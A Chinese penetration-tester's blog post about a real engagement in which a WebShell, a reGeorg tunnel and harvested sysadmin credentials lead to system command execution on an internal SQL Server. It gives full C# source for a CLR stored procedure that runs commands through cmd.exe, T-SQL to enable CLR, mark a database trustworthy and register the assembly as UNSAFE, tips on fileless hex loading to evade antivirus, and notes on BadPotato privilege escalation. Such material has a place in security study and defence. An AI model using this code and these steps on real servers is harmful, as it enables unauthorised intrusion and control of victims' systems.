前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MSSQL 利用 CLR 技术执行系统命令

MSSQL 利用 CLR 技术执行系统命令

作者头像
信安之路
发布2020-10-30 11:17:57
2.8K0
发布2020-10-30 11:17:57
举报
文章被收录于专栏:信安之路信安之路

在某项目外围打点的过程中,通过文件上传拿到一个 WebShell。通过 WebShell 能够执行大多数的命令,且直接是 System 权限,但却无法执行 dir 进行列目录,导致冰蝎和蚁剑都无法使用。使用冰蝎进行命令行下的操作,回显极其的慢。通过 netstat,观察到站点连接内网中某台的服务器的 1433 端口,判断是站库分离的情形,于是决定建立隧道对数据库服务器进行渗透。而稍微大一点点的文件,都无法通过网站业务的上传功能进行上传,于是通过 WebShell 写入文件的方式,写入 reGeorg 隧道文件,快速建立起代理。

障碍

通过搜寻站点的数据库配置文件,得到了数据库的用户名和密码。通过 SSMS 远程连接进内网的数据库服务器,得到的用户有sysadmin的权限。但不幸的是无法执行xp_cmdshell,似乎该存储过程被删了。

突破-通过 CLR 进行命令执行

CLR 简介

CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。

编写一个 CLR

首先,在 visual studio 中创建一个 SQLSever 项目

然后,添加一个存储过程项目

接着参照如下代码编写,即可简单实现通过 cmd.exe 来进行系统命令执行

代码语言:javascript
复制
using System;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void CmdExec (String cmd)
    {
        // Put your code here
        SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
    }
 
    public static string Command(string filename, string arguments)
    {
        var process = new Process();
        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }
        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }
        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();
            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }
            if (stdOutput.Length != 0)
            {
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

命令执行

将代码编译完成后,会生成一个 DLL 文件,需要将 DLL 文件注册进数据库

默认情况下,MSSQL 的 CLR 是禁用的,因此首先需要开启 CLR 功能

代码语言:javascript
复制
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对 msdb 不需要,默认 msdb 就是的可信任的

代码语言:javascript
复制
ALTER DATABASE master SET TRUSTWORTHY ON;

方式一,CLR 注册 DLL 支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作

代码语言:javascript
复制
CREATE ASSEMBLY sp_cmdExec
FROM 0x4D5A90000300000004000000FFFF0000B800000000000
WITH PERMISSION_SET = UNSAFE
GO

方式二,通过 SSMS 图形化界面注册

方式三,将文件落地目标机器上后进行注册

代码语言:javascript
复制
CREATE ASSEMBLY sp_cmdExec
FROM 'C:\ProgramData\Database1.dll'
WITH PERMISSION_SET = UNSAFE
GO

注册完后,需创建存储过程,执行如下语句

代码语言:javascript
复制
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
GO

一切顺利的话,此时就可以通过该存储过程进行系统命令的执行

提权

数据库服务器无法出网,可以利用 WEB 服务器做平台,通过 certutil 来落地工具。由于没先列出目标的 tasklist,贸然的上传一个提权工具,结果被杀软干掉了。后来使用 C# 写的 BadPotato 上传,没被杀,成功提权。

冒出一个想法,既然 BadPotato 是 C# 写的,那么是否可以通过 CLR 来提权。找到了 Badpotato 的代码一顿抄,然后实际使用的时候发现,没成功。

在 GitHub 上找到了 WarSQLKit.DLL 项目,里面内置了很多功能,比如提权。但翻看了一下代码,发现是通过写入一个 EXE 程序来完成的。在实际利用的时候发现,不知道什么情况没有权限写入 C:\ProgramData\Kumpir.exe, 导致提权失败,将其修改成其他目录也无法写入,不知是否杀软在起作用

代理

为了更好的进一步渗透,代理是必须的。此时已有 System 权限,可做代理的方式很多。MSSQLProxy 是基于 CLR 实现的代理工具,原理和实现方式有兴趣的可以去了解了解。

最后

简单记录了一下实际情况利用 CLR 的过程。CLR 的好处很明显,只要有sysadmin权限,就可以完成命令执行,并且还可以无文件落地规避杀软,由于通过 .NET 代码拓展出无限可能性,在遇到 SQLServer 环境,可以说是一个大杀器。由于是实际的项目,不便贴上过多细节的图片,部分 SQLServer 环境由本地搭建测试,若有表述不到位的地方,还请见谅。:)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 障碍
  • 突破-通过 CLR 进行命令执行
    • CLR 简介
      • 编写一个 CLR
        • 提权
          • 代理
          • 最后
          相关产品与服务
          数据库
          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档